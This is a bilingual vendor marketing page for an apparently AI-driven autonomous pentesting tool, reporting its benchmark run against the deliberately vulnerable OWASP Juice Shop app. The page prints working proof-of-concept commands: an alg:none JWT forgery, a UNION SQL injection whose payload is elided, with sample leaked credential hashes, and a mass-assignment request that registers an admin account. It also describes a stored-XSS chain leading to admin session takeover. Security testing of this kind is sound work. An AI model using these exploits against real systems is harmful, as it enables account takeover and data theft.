Een scanner dumpt een lijst.
Cruxa redeneert tot een overname.
A scanner dumps a list.
Cruxa reasons its way to takeover.
Cruxa loste 26 officiële OWASP Juice Shop-challenges volledig autonoom op — zonder hints — en bevestigde 13 exploiteerbare kwetsbaarheden met reproduceerbaar bewijs, samengevoegd tot 3 complete aanvalsketens. Elke bevinding heeft een werkende Proof-of-Concept en een concrete code-fix.
Cruxa autonomously solved 26 official OWASP Juice Shop challenges — no hints — and confirmed 13 exploitable vulnerabilities with reproducible proof, composed into 3 complete attack chains. Every finding has a working Proof-of-Concept and a concrete code fix.
autonoom opgelostOfficial challenges
solved autonomously
kwetsbaarhedenIndependently confirmed
vulnerabilities
aanvalsketensComplete
attack chains
(volledige run)Agents failed
(full run)
- 26 officiële challenges opgelost — elk een andere aanvalstechniek, zonder hints26 official challenges solved — each a different attack technique, no hints
- 13 bevestigde, exploiteerbare kwetsbaarheden13 confirmed, exploitable vulnerabilities
- 3 volledige aanvalsketens tot admin-overname3 complete attack chains to admin takeover
- 0 agent-failures in de volledige run0 agent failures across the full run
- Volledig autonoom — geen menselijke aansturing van de scanFully autonomous — no human steering of the scan
- Reproduceerbare PoC per bevinding, met code-fixReproducible PoC per finding, with a code fix
Een opzettelijk kwetsbare app — en dat is precies het punt
A deliberately vulnerable app — and that is exactly the point
OWASP Juice Shop is de meest gebruikte doelbewust-kwetsbare webapplicatie ter wereld. Dat er kwetsbaarheden in zitten is géén verrassing — en dus geen prestatie om te vinden.
OWASP Juice Shop is the most-used deliberately-vulnerable web application in the world. That it contains vulnerabilities is no surprise — and therefore no achievement to find.
Wat deze benchmark laat zien is iets anders: wat een volledig autonome engine er zonder enige aansturing uithaalt, hoe hard het bewijs is, en of hij losse zwaktes zelfstandig combineert tot een aanval. Het is bovendien de enige target die we volledig transparant mét werkende PoC mogen tonen — er is geen klant om te beschermen. Wat je hieronder ziet is dus letterlijk reproduceerbaar.
What this benchmark shows is different: what a fully autonomous engine extracts without any steering, how hard the evidence is, and whether it independently combines separate weaknesses into an attack. It is also the only target we may show fully transparently, with a working PoC — there is no client to protect. So what you see below is literally reproducible.
Redeneren, geen patroon-matchen
Reasoning, not pattern-matching
Veel traditionele DAST-tools richten zich op het detecteren van lósse kwetsbaarheden: payload, response, signature-match. Cruxa gaat een stap verder — het bouwt een hypothese, valideert die met bewijs, itereert op het resultaat, en combineert bevindingen tot reproduceerbare aanvalsketens.
Many traditional DAST tools focus on detecting individual vulnerabilities: payload, response, signature match. Cruxa goes a step further — it builds a hypothesis, validates it with evidence, iterates on the result, and combines findings into reproducible attack chains.
De kracht zit evenzeer in wat er níét in staat
The strength lies as much in what is left out
Uit 166 ruwe findings liet onze eigen geautomatiseerde bewijs-poort er slechts 9 direct door — amper 5%. 120 werden geblokkeerd wegens onvoldoende hard bewijs (een HTTP-status zonder aangetoond neveneffect, hypothetische framing, of dubbele detectie), en 37 gemarkeerd voor handmatige verificatie. Van die 37 hielden er na onafhankelijke reproductie 4 stand — samen met de 9 automatisch bevestigde vormen zij de 13 bevindingen in dit rapport. Precies het onderscheid tussen "een scanner riep iets" en "onafhankelijk gereproduceerd".
From 166 raw findings, our own automated evidence gate cleared just 9 outright — barely 5%. 120 were blocked for insufficient hard evidence (an HTTP status without a demonstrated side-effect, hypothetical framing, or duplicate detection), and 37 flagged for manual verification. Of those 37, four held up after independent reproduction — together with the 9 auto-confirmed, they form the 13 findings in this report. Exactly the difference between "a scanner claimed something" and "independently reproduced".
Beschermde admin-endpoints (/api/Cards, /api/Addresss, /api/PrivacyRequests) gaven correct 401/403 — goede toegangscontrole, expliciet uitgesloten als vector. Protected admin endpoints (/api/Cards, /api/Addresss, /api/PrivacyRequests) returned a correct 401/403 — good access control, explicitly excluded as a vector.
Elke bevinding is reproduceerbaar
Every finding is reproducible
Geen theorie. Hieronder drie kritieke bevindingen met de exacte PoC — allemaal ongeauthenticeerd, allemaal live gereproduceerd tegen het geteste oppervlak.
No theory. Below are three critical findings with the exact PoC — all unauthenticated, all reproduced live against the tested surface.
De JWT-verificatie accepteert tokens met alg:none. Een aanvaller
vervalst elke identiteit — inclusief admin — zónder de privésleutel te kennen.
JWT verification accepts tokens with alg:none. An attacker
forges any identity — including admin — without knowing the private key.
# Vervals een admin-JWT met alg:none (geen sleutel nodig)# Forge an admin JWT with alg:none (no key needed) HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '=') PAYLOAD=$(echo -n '{"data":{"id":1,"email":"[email protected]","role":"admin"}}' | base64 -w0 | tr '+/' '-_' | tr -d '=') FORGED="${HEADER}.${PAYLOAD}." curl -s -H "Authorization: Bearer $FORGED" http://juice-shop.localhost/api/Users | jq '.data | length' # → 34 (volledige gebruikerslijst geretourneerd op een ONgesigneerd token)# → 34 (full user list returned on an UNsigned token)
Het productzoek-endpoint interpoleert de zoekterm rechtstreeks in een SQL-query. Een UNION-injectie leest willekeurige tabellen uit — inclusief de volledige Users-tabel met e-mailadressen en wachtwoord-hashes.
The product-search endpoint interpolates the search term directly into a SQL query. A UNION injection reads arbitrary tables — including the full Users table with email addresses and password hashes.
# Ongeauthenticeerde UNION-injectie op het zoek-endpoint# Unauthenticated UNION injection on the search endpoint curl -s "http://juice-shop.localhost/rest/products/search?q=<UNION-payload>" # → response.data bevat 34 gebruikersrecords:# → response.data contains 34 user records: # id=1 [email protected] password=0192023a7bbd73250516f069df18b500 # id=4 [email protected] ...
Het registratie-endpoint accepteert een role-veld uit de request-body
zonder server-side validatie. Elke bezoeker registreert in één request een admin-account.
The registration endpoint accepts a role field from the request body
without server-side validation. Any visitor registers an admin account in a single request.
curl -si -X POST http://juice-shop.localhost/api/Users \
-H 'Content-Type: application/json' \
-d '{"email":"[email protected]","password":"Attack3r!","role":"admin"}'
# → HTTP/1.1 201 Created
# → {"data":{"id":36,"email":"[email protected]","role":"admin", ...}}
Keten: gewone klant → stille admin-sessie-overname
Chain: ordinary customer → silent admin-session takeover
Dit is waar Cruxa zich onderscheidt van een scanner: het combineert losse bevindingen tot een compleet aanvalsscenario dat individuele checks nooit zien. De opgeslagen XSS-payload is bevestigd aanwezig en via de autorisatie-fout voor elke klant uitleesbaar; zodra een beheerder het paneel opent, vuurt die in diens browser en valt de admin-sessie — terwijl de aanvaller nooit zelf admin-rechten had.
This is where Cruxa distinguishes itself from a scanner: it combines separate findings into a complete attack scenario that individual checks never see. The stored XSS payload is confirmed present and readable by any customer through the authorization flaw; the moment an admin opens the panel, it fires in their browser and the admin session falls — while the attacker never held admin rights.
Twee andere ketens tonen drie onafhankelijke paden naar volledige admin-overname zónder inloggegevens, en cross-account order-sabotage. Het feit dat het dichten van één pad de andere niet raakt is zélf een bevinding.
Two other chains show three independent paths to full admin takeover without credentials, plus cross-account order sabotage. The fact that closing one path does not affect the others is itself a finding.
Dit is letterlijk wat je krijgt
This is literally what you get
Alle 13 bevindingen, 3 aanvalsketens, per bevinding een werkende PoC en een concrete code-fix in de taal van de applicatie — plus compliance-mapping (OWASP Top 10, CWE, AVG, PCI-DSS).
All 13 findings, 3 attack chains, a working PoC per finding and a concrete code fix in the application's language — plus compliance mapping (OWASP Top 10, CWE, GDPR, PCI-DSS).
Cruxa Benchmark-rapport — OWASP Juice ShopCruxa Benchmark report — OWASP Juice Shop
Volledig autonome run · onafhankelijk gereproduceerd. Geen account, geen e-mail vereist.Fully autonomous run · independently reproduced. No account, no email required.
Wil je dit op jóuw systeem?
Want this on your system?
Begin met een gratis, passieve exposure-check — geen account, geen betaling. Of laat Cruxa een volledige autonome scan draaien met bewijs en oplossingen.
Start with a free, passive exposure check — no account, no payment. Or let Cruxa run a full autonomous scan with evidence and fixes.